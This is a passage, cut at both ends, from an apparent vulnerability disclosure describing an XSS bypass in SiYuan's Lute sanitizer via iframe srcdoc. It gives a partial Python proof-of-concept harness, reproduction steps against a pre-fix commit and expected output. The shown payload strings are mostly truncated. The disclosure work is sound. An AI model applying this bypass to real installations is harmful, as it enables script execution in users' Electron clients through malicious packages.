\">` passes through because iframe is not blocked and the srcdoc value is raw HTML (not a URL scheme).\n- `',\n '',\n]\n\nbypass_found = False\nfor payload in PAYLOADS:\n fixed_output = sanitize_html(payload)\n findings = check_xss(fixed_output)\n if findings:\n bypass_found = True\n print(f\"BYPASS: {payload[:80]}\")\n for f in findings:\n print(f\" - {f}\")\n\nif bypass_found:\n print(\"\\nVULNERABILITY CONFIRMED\")\n sys.exit(0)\nelse:\n print(\"\\nVULNERABILITY NOT CONFIRMED\")\n sys.exit(1)\n```\n\n```bash\npython3 poc.py\n```\n\n**Steps to reproduce:**\n1. `git clone https://github.com/siyuan-note/siyuan /tmp/siyuan_test`\n2. `cd /tmp/siyuan_test && git checkout b382f50e1880ed996364509de5a10a72d7409428~1`\n3. `python3 poc.py` (or `go run poc.go` if Go PoC)\n\n**Expected output:**\n```\nVULNERABILITY CONFIRMED\nIframe tags with srcdoc attributes bypass the Lute sanitizer, allowing embedded scripts to execute in the Electron context.\n```\n\n### Impact\n\nA malicious bazaar package author can include `